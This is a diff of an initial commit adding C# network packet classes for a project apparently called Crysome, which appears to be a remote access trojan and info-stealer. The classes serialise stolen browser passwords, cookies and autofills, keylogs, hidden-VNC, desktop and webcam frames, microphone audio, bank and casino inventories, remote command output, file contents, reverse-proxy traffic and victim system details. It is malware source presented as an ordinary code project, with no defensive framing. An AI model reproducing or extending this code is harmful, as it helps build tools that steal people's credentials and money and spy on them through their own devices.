initial commit
This commit is contained in:
@@ -0,0 +1,32 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class AudioDataPacket : IPacket
|
||||
{
|
||||
public byte[] WavData { get; set; }
|
||||
|
||||
public AudioDataPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public AudioDataPacket(byte[] wavData)
|
||||
{
|
||||
WavData = wavData;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write((WavData != null) ? WavData.Length : 0);
|
||||
if (WavData != null && WavData.Length != 0)
|
||||
{
|
||||
w.Write(WavData);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
WavData = ((num > 0) ? r.ReadBytes(num) : new byte[0]);
|
||||
}
|
||||
}
|
||||
+42
@@ -0,0 +1,42 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class AudioDevicesResponsePacket : IPacket
|
||||
{
|
||||
public string[] DeviceNames { get; set; } = Array.Empty<string>();
|
||||
|
||||
public AudioDevicesResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public AudioDevicesResponsePacket(string[] names)
|
||||
{
|
||||
DeviceNames = names ?? Array.Empty<string>();
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
string[] deviceNames = DeviceNames;
|
||||
w.Write((deviceNames != null) ? deviceNames.Length : 0);
|
||||
if (DeviceNames != null)
|
||||
{
|
||||
string[] deviceNames2 = DeviceNames;
|
||||
foreach (string text in deviceNames2)
|
||||
{
|
||||
w.Write(text ?? "");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
DeviceNames = new string[num];
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
DeviceNames[i] = r.ReadString();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class AudioStreamChunkPacket : IPacket
|
||||
{
|
||||
public byte[] Chunk { get; set; } = new byte[0];
|
||||
|
||||
public AudioStreamChunkPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public AudioStreamChunkPacket(byte[] chunk)
|
||||
{
|
||||
Chunk = chunk ?? new byte[0];
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
byte[] chunk = Chunk;
|
||||
w.Write((chunk != null) ? chunk.Length : 0);
|
||||
if (Chunk != null && Chunk.Length != 0)
|
||||
{
|
||||
w.Write(Chunk);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
Chunk = ((num > 0) ? r.ReadBytes(num) : new byte[0]);
|
||||
}
|
||||
}
|
||||
+42
@@ -0,0 +1,42 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class CameraDevicesResponsePacket : IPacket
|
||||
{
|
||||
public string[] DeviceNames { get; set; } = Array.Empty<string>();
|
||||
|
||||
public CameraDevicesResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public CameraDevicesResponsePacket(string[] names)
|
||||
{
|
||||
DeviceNames = names ?? Array.Empty<string>();
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
string[] deviceNames = DeviceNames;
|
||||
w.Write((deviceNames != null) ? deviceNames.Length : 0);
|
||||
if (DeviceNames != null)
|
||||
{
|
||||
string[] deviceNames2 = DeviceNames;
|
||||
foreach (string text in deviceNames2)
|
||||
{
|
||||
w.Write(text ?? "");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
DeviceNames = new string[num];
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
DeviceNames[i] = r.ReadString();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class CameraFramePacket : IPacket
|
||||
{
|
||||
public byte[] JpegData { get; set; }
|
||||
|
||||
public CameraFramePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public CameraFramePacket(byte[] jpegData)
|
||||
{
|
||||
JpegData = jpegData;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write((JpegData != null) ? JpegData.Length : 0);
|
||||
if (JpegData != null && JpegData.Length != 0)
|
||||
{
|
||||
w.Write(JpegData);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
JpegData = ((num > 0) ? r.ReadBytes(num) : new byte[0]);
|
||||
}
|
||||
}
|
||||
+77
@@ -0,0 +1,77 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class ClientInfoResponsePacket : IPacket
|
||||
{
|
||||
public string Identifier { get; set; }
|
||||
|
||||
public string Address { get; set; }
|
||||
|
||||
public int Port { get; set; }
|
||||
|
||||
public string Username { get; set; }
|
||||
|
||||
public string ComputerName { get; set; }
|
||||
|
||||
public string OS { get; set; }
|
||||
|
||||
public string ActiveWindow { get; set; }
|
||||
|
||||
public string Uptime { get; set; }
|
||||
|
||||
public string CountryCode { get; set; }
|
||||
|
||||
public string Group { get; set; }
|
||||
|
||||
public string GPU { get; set; }
|
||||
|
||||
public ClientInfoResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public ClientInfoResponsePacket(string identifier, string address, int port, string username, string computerName, string os, string activeWindow, string uptime, string countryCode, string group, string gpu = "")
|
||||
{
|
||||
Identifier = identifier;
|
||||
Address = address;
|
||||
Port = port;
|
||||
Username = username;
|
||||
ComputerName = computerName;
|
||||
OS = os;
|
||||
ActiveWindow = activeWindow;
|
||||
Uptime = uptime;
|
||||
CountryCode = countryCode;
|
||||
Group = group;
|
||||
GPU = gpu;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Identifier ?? "");
|
||||
w.Write(Address ?? "");
|
||||
w.Write(Port);
|
||||
w.Write(Username ?? "");
|
||||
w.Write(ComputerName ?? "");
|
||||
w.Write(OS ?? "");
|
||||
w.Write(ActiveWindow ?? "");
|
||||
w.Write(Uptime ?? "");
|
||||
w.Write(CountryCode ?? "");
|
||||
w.Write(Group ?? "");
|
||||
w.Write(GPU ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Identifier = r.ReadString();
|
||||
Address = r.ReadString();
|
||||
Port = r.ReadInt32();
|
||||
Username = r.ReadString();
|
||||
ComputerName = r.ReadString();
|
||||
OS = r.ReadString();
|
||||
ActiveWindow = r.ReadString();
|
||||
Uptime = r.ReadString();
|
||||
CountryCode = r.ReadString();
|
||||
Group = r.ReadString();
|
||||
GPU = r.ReadString();
|
||||
}
|
||||
}
|
||||
+33
@@ -0,0 +1,33 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class ClientInventoryReportPacket : IPacket
|
||||
{
|
||||
public string AppsJson { get; set; }
|
||||
|
||||
public string BankJson { get; set; }
|
||||
|
||||
public string CasinoJson { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(AppsJson ?? "");
|
||||
w.Write(BankJson ?? "");
|
||||
w.Write(CasinoJson ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
AppsJson = r.ReadString();
|
||||
BankJson = r.ReadString();
|
||||
try
|
||||
{
|
||||
CasinoJson = r.ReadString();
|
||||
}
|
||||
catch
|
||||
{
|
||||
CasinoJson = "";
|
||||
}
|
||||
}
|
||||
}
|
||||
+63
@@ -0,0 +1,63 @@
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class CredentialsResponsePacket : IPacket
|
||||
{
|
||||
public string ErrorMessage { get; set; }
|
||||
|
||||
public string PasswordsJson { get; set; }
|
||||
|
||||
public string CookiesJson { get; set; }
|
||||
|
||||
public string AutofillsJson { get; set; }
|
||||
|
||||
public CredentialsResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public CredentialsResponsePacket(string errorMessage, string passwordsJson = null, string cookiesJson = null, string autofillsJson = null)
|
||||
{
|
||||
ErrorMessage = errorMessage ?? "";
|
||||
PasswordsJson = passwordsJson ?? "";
|
||||
CookiesJson = cookiesJson ?? "";
|
||||
AutofillsJson = autofillsJson ?? "";
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
WriteString(w, ErrorMessage);
|
||||
WriteString(w, PasswordsJson);
|
||||
WriteString(w, CookiesJson);
|
||||
WriteString(w, AutofillsJson);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
ErrorMessage = ReadString(r);
|
||||
PasswordsJson = ReadString(r);
|
||||
CookiesJson = ReadString(r);
|
||||
AutofillsJson = ReadString(r);
|
||||
}
|
||||
|
||||
private static void WriteString(BinaryWriter w, string s)
|
||||
{
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(s ?? "");
|
||||
w.Write(bytes.Length);
|
||||
if (bytes.Length != 0)
|
||||
{
|
||||
w.Write(bytes);
|
||||
}
|
||||
}
|
||||
|
||||
private static string ReadString(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
if (num <= 0)
|
||||
{
|
||||
return "";
|
||||
}
|
||||
return Encoding.UTF8.GetString(r.ReadBytes(num));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class DesktopFramePacket : IPacket
|
||||
{
|
||||
public byte[] ImageData { get; set; }
|
||||
|
||||
public DesktopFramePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public DesktopFramePacket(byte[] imageData)
|
||||
{
|
||||
ImageData = imageData;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write((ImageData != null) ? ImageData.Length : 0);
|
||||
if (ImageData != null && ImageData.Length != 0)
|
||||
{
|
||||
w.Write(ImageData);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
ImageData = ((num > 0) ? r.ReadBytes(num) : new byte[0]);
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class DirectLinkResponsePacket : IPacket
|
||||
{
|
||||
public string Status { get; set; }
|
||||
|
||||
public DirectLinkResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public DirectLinkResponsePacket(string status)
|
||||
{
|
||||
Status = status;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Status ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Status = r.ReadString();
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class FileTransferResponsePacket : IPacket
|
||||
{
|
||||
public string Status { get; set; }
|
||||
|
||||
public FileTransferResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public FileTransferResponsePacket(string status)
|
||||
{
|
||||
Status = status;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Status ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Status = r.ReadString();
|
||||
}
|
||||
}
|
||||
+152
@@ -0,0 +1,152 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class GetDirectoryResponsePacket : IPacket
|
||||
{
|
||||
public string Name { get; set; }
|
||||
|
||||
public string Path { get; set; }
|
||||
|
||||
public string[] Folders { get; set; }
|
||||
|
||||
public string[] Files { get; set; }
|
||||
|
||||
public long[] FileSizes { get; set; }
|
||||
|
||||
public long[] FolderLastWriteUtcTicks { get; set; }
|
||||
|
||||
public long[] FileLastWriteUtcTicks { get; set; }
|
||||
|
||||
public byte[][] FolderIconPng { get; set; }
|
||||
|
||||
public byte[][] FileIconPng { get; set; }
|
||||
|
||||
public long RequestId { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Name ?? "");
|
||||
w.Write(Path ?? "");
|
||||
int num = ((Folders != null) ? Folders.Length : 0);
|
||||
w.Write(num);
|
||||
if (Folders != null)
|
||||
{
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
w.Write(Folders[i] ?? "");
|
||||
}
|
||||
}
|
||||
int num2 = ((Files != null) ? Files.Length : 0);
|
||||
w.Write(num2);
|
||||
if (Files != null)
|
||||
{
|
||||
for (int j = 0; j < num2; j++)
|
||||
{
|
||||
w.Write(Files[j] ?? "");
|
||||
}
|
||||
}
|
||||
w.Write((FileSizes != null) ? FileSizes.Length : 0);
|
||||
if (FileSizes != null)
|
||||
{
|
||||
for (int k = 0; k < FileSizes.Length; k++)
|
||||
{
|
||||
w.Write(FileSizes[k]);
|
||||
}
|
||||
}
|
||||
for (int l = 0; l < num; l++)
|
||||
{
|
||||
long value = ((FolderLastWriteUtcTicks != null && l < FolderLastWriteUtcTicks.Length) ? FolderLastWriteUtcTicks[l] : 0);
|
||||
w.Write(value);
|
||||
}
|
||||
for (int m = 0; m < num2; m++)
|
||||
{
|
||||
long value2 = ((FileLastWriteUtcTicks != null && m < FileLastWriteUtcTicks.Length) ? FileLastWriteUtcTicks[m] : 0);
|
||||
w.Write(value2);
|
||||
}
|
||||
WritePngArray(w, FolderIconPng, num);
|
||||
WritePngArray(w, FileIconPng, num2);
|
||||
w.Write(RequestId);
|
||||
}
|
||||
|
||||
private static void WritePngArray(BinaryWriter w, byte[][] arr, int count)
|
||||
{
|
||||
for (int i = 0; i < count; i++)
|
||||
{
|
||||
byte[] array = ((arr != null && i < arr.Length) ? arr[i] : null);
|
||||
int num = ((array != null) ? array.Length : 0);
|
||||
w.Write(num);
|
||||
if (num > 0)
|
||||
{
|
||||
w.Write(array);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[][] ReadPngArray(BinaryReader r, int count)
|
||||
{
|
||||
byte[][] array = new byte[count][];
|
||||
for (int i = 0; i < count; i++)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
array[i] = ((num > 0) ? r.ReadBytes(num) : null);
|
||||
}
|
||||
return array;
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Name = r.ReadString();
|
||||
Path = r.ReadString();
|
||||
int num = r.ReadInt32();
|
||||
Folders = new string[num];
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
Folders[i] = r.ReadString();
|
||||
}
|
||||
int num2 = r.ReadInt32();
|
||||
Files = new string[num2];
|
||||
for (int j = 0; j < num2; j++)
|
||||
{
|
||||
Files[j] = r.ReadString();
|
||||
}
|
||||
int num3 = r.ReadInt32();
|
||||
FileSizes = new long[num3];
|
||||
for (int k = 0; k < num3; k++)
|
||||
{
|
||||
FileSizes[k] = r.ReadInt64();
|
||||
}
|
||||
FolderLastWriteUtcTicks = null;
|
||||
FileLastWriteUtcTicks = null;
|
||||
FolderIconPng = null;
|
||||
FileIconPng = null;
|
||||
RequestId = 0L;
|
||||
if (r.BaseStream.Position >= r.BaseStream.Length)
|
||||
{
|
||||
return;
|
||||
}
|
||||
FolderLastWriteUtcTicks = new long[num];
|
||||
for (int l = 0; l < num; l++)
|
||||
{
|
||||
FolderLastWriteUtcTicks[l] = r.ReadInt64();
|
||||
}
|
||||
if (r.BaseStream.Position >= r.BaseStream.Length)
|
||||
{
|
||||
return;
|
||||
}
|
||||
FileLastWriteUtcTicks = new long[num2];
|
||||
for (int m = 0; m < num2; m++)
|
||||
{
|
||||
FileLastWriteUtcTicks[m] = r.ReadInt64();
|
||||
}
|
||||
if (r.BaseStream.Position < r.BaseStream.Length)
|
||||
{
|
||||
FolderIconPng = ReadPngArray(r, num);
|
||||
FileIconPng = ReadPngArray(r, num2);
|
||||
if (r.BaseStream.Position < r.BaseStream.Length)
|
||||
{
|
||||
RequestId = r.ReadInt64();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+44
@@ -0,0 +1,44 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class GetDrivesResponsePacket : IPacket
|
||||
{
|
||||
public string[] Drives { get; set; }
|
||||
|
||||
public long RequestId { get; set; }
|
||||
|
||||
public GetDrivesResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public GetDrivesResponsePacket(string[] drives, long requestId = 0L)
|
||||
{
|
||||
Drives = drives;
|
||||
RequestId = requestId;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write((Drives != null) ? Drives.Length : 0);
|
||||
if (Drives != null)
|
||||
{
|
||||
for (int i = 0; i < Drives.Length; i++)
|
||||
{
|
||||
w.Write(Drives[i] ?? "");
|
||||
}
|
||||
}
|
||||
w.Write(RequestId);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
Drives = new string[num];
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
Drives[i] = r.ReadString();
|
||||
}
|
||||
RequestId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0);
|
||||
}
|
||||
}
|
||||
+42
@@ -0,0 +1,42 @@
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class GetProcessListResponsePacket : IPacket
|
||||
{
|
||||
public List<ProcessListEntry> Processes { get; set; } = new List<ProcessListEntry>();
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Processes?.Count ?? 0);
|
||||
if (Processes == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
foreach (ProcessListEntry process in Processes)
|
||||
{
|
||||
w.Write(process.Name ?? "");
|
||||
w.Write(process.Pid);
|
||||
w.Write((process.IconData != null) ? process.IconData.Length : 0);
|
||||
if (process.IconData != null && process.IconData.Length != 0)
|
||||
{
|
||||
w.Write(process.IconData);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Processes = new List<ProcessListEntry>();
|
||||
int num = r.ReadInt32();
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
string name = r.ReadString();
|
||||
int pid = r.ReadInt32();
|
||||
int num2 = r.ReadInt32();
|
||||
byte[] iconData = ((num2 > 0) ? r.ReadBytes(num2) : new byte[0]);
|
||||
Processes.Add(new ProcessListEntry(name, pid, iconData));
|
||||
}
|
||||
}
|
||||
}
|
||||
+52
@@ -0,0 +1,52 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class GetSystemInfoResponsePacket : IPacket
|
||||
{
|
||||
public string Identifier { get; set; }
|
||||
|
||||
public string Address { get; set; }
|
||||
|
||||
public int Port { get; set; }
|
||||
|
||||
public string Username { get; set; }
|
||||
|
||||
public string ComputerName { get; set; }
|
||||
|
||||
public string OS { get; set; }
|
||||
|
||||
public GetSystemInfoResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public GetSystemInfoResponsePacket(string identifier, string address, int port, string username, string computerName, string os)
|
||||
{
|
||||
Identifier = identifier;
|
||||
Address = address;
|
||||
Port = port;
|
||||
Username = username;
|
||||
ComputerName = computerName;
|
||||
OS = os;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Identifier ?? "");
|
||||
w.Write(Address ?? "");
|
||||
w.Write(Port);
|
||||
w.Write(Username ?? "");
|
||||
w.Write(ComputerName ?? "");
|
||||
w.Write(OS ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Identifier = r.ReadString();
|
||||
Address = r.ReadString();
|
||||
Port = r.ReadInt32();
|
||||
Username = r.ReadString();
|
||||
ComputerName = r.ReadString();
|
||||
OS = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class HvncFramePacket : IPacket
|
||||
{
|
||||
public byte[] ImageData { get; set; }
|
||||
|
||||
public HvncFramePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public HvncFramePacket(byte[] imageData)
|
||||
{
|
||||
ImageData = imageData;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write((ImageData != null) ? ImageData.Length : 0);
|
||||
if (ImageData != null && ImageData.Length != 0)
|
||||
{
|
||||
w.Write(ImageData);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
ImageData = ((num > 0) ? r.ReadBytes(num) : new byte[0]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class KeylogDataPacket : IPacket
|
||||
{
|
||||
public string Data { get; set; } = "";
|
||||
|
||||
public KeylogDataPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public KeylogDataPacket(string data)
|
||||
{
|
||||
Data = data ?? "";
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Data ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Data = r.ReadString();
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class NotifyStatusResponsePacket : IPacket
|
||||
{
|
||||
public string StatusMessage { get; set; }
|
||||
|
||||
public NotifyStatusResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public NotifyStatusResponsePacket(string statusMessage)
|
||||
{
|
||||
StatusMessage = statusMessage;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(StatusMessage ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
StatusMessage = r.ReadString();
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class OfflineKeylogDataPacket : IPacket
|
||||
{
|
||||
public string Data { get; set; }
|
||||
|
||||
public OfflineKeylogDataPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public OfflineKeylogDataPacket(string data)
|
||||
{
|
||||
Data = data;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Data ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Data = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class PingResponsePacket : IPacket
|
||||
{
|
||||
public long ServerTick { get; set; }
|
||||
|
||||
public PingResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public PingResponsePacket(long serverTick)
|
||||
{
|
||||
ServerTick = serverTick;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(ServerTick);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
ServerTick = r.ReadInt64();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class ProcessListEntry
|
||||
{
|
||||
public string Name { get; set; }
|
||||
|
||||
public int Pid { get; set; }
|
||||
|
||||
public byte[] IconData { get; set; }
|
||||
|
||||
public ProcessListEntry()
|
||||
{
|
||||
}
|
||||
|
||||
public ProcessListEntry(string name, int pid, byte[] iconData)
|
||||
{
|
||||
Name = name ?? "";
|
||||
Pid = pid;
|
||||
IconData = iconData ?? new byte[0];
|
||||
}
|
||||
}
|
||||
+33
@@ -0,0 +1,33 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class ProxyStatusResponsePacket : IPacket
|
||||
{
|
||||
public bool Active { get; set; }
|
||||
|
||||
public string Message { get; set; }
|
||||
|
||||
public ProxyStatusResponsePacket()
|
||||
{
|
||||
Message = "";
|
||||
}
|
||||
|
||||
public ProxyStatusResponsePacket(bool active, string message)
|
||||
{
|
||||
Active = active;
|
||||
Message = message ?? "";
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Active);
|
||||
w.Write(Message ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Active = r.ReadBoolean();
|
||||
Message = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class ReadFileResponsePacket : IPacket
|
||||
{
|
||||
public bool Success { get; set; }
|
||||
|
||||
public string ErrorMessage { get; set; }
|
||||
|
||||
public byte[] Data { get; set; }
|
||||
|
||||
public long TransferId { get; set; }
|
||||
|
||||
public ReadFileResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public ReadFileResponsePacket(bool success, string errorMessage = null, byte[] data = null, long transferId = 0L)
|
||||
{
|
||||
Success = success;
|
||||
ErrorMessage = errorMessage ?? "";
|
||||
Data = data;
|
||||
TransferId = transferId;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Success);
|
||||
w.Write(ErrorMessage ?? "");
|
||||
int num = ((Data != null) ? Data.Length : 0);
|
||||
w.Write(num);
|
||||
if (Data != null && num > 0)
|
||||
{
|
||||
w.Write(Data);
|
||||
}
|
||||
w.Write(TransferId);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Success = r.ReadBoolean();
|
||||
ErrorMessage = r.ReadString();
|
||||
int num = r.ReadInt32();
|
||||
Data = ((num > 0) ? r.ReadBytes(num) : null);
|
||||
TransferId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class ReverseProxyDataPacket : IPacket
|
||||
{
|
||||
public int ConnectionId { get; set; }
|
||||
|
||||
public byte[] Data { get; set; }
|
||||
|
||||
public ReverseProxyDataPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public ReverseProxyDataPacket(int connectionId, byte[] data)
|
||||
{
|
||||
ConnectionId = connectionId;
|
||||
Data = data ?? new byte[0];
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(ConnectionId);
|
||||
w.Write((Data != null) ? Data.Length : 0);
|
||||
if (Data != null && Data.Length != 0)
|
||||
{
|
||||
w.Write(Data);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
ConnectionId = r.ReadInt32();
|
||||
int num = r.ReadInt32();
|
||||
Data = ((num > 0) ? r.ReadBytes(num) : new byte[0]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class ReverseProxyEndPacket : IPacket
|
||||
{
|
||||
public int ConnectionId { get; set; }
|
||||
|
||||
public ReverseProxyEndPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public ReverseProxyEndPacket(int connectionId)
|
||||
{
|
||||
ConnectionId = connectionId;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(ConnectionId);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
ConnectionId = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class RunCommandResponsePacket : IPacket
|
||||
{
|
||||
public string Output { get; set; }
|
||||
|
||||
public RunCommandResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public RunCommandResponsePacket(string output)
|
||||
{
|
||||
Output = output;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Output ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Output = r.ReadString();
|
||||
}
|
||||
}
|
||||
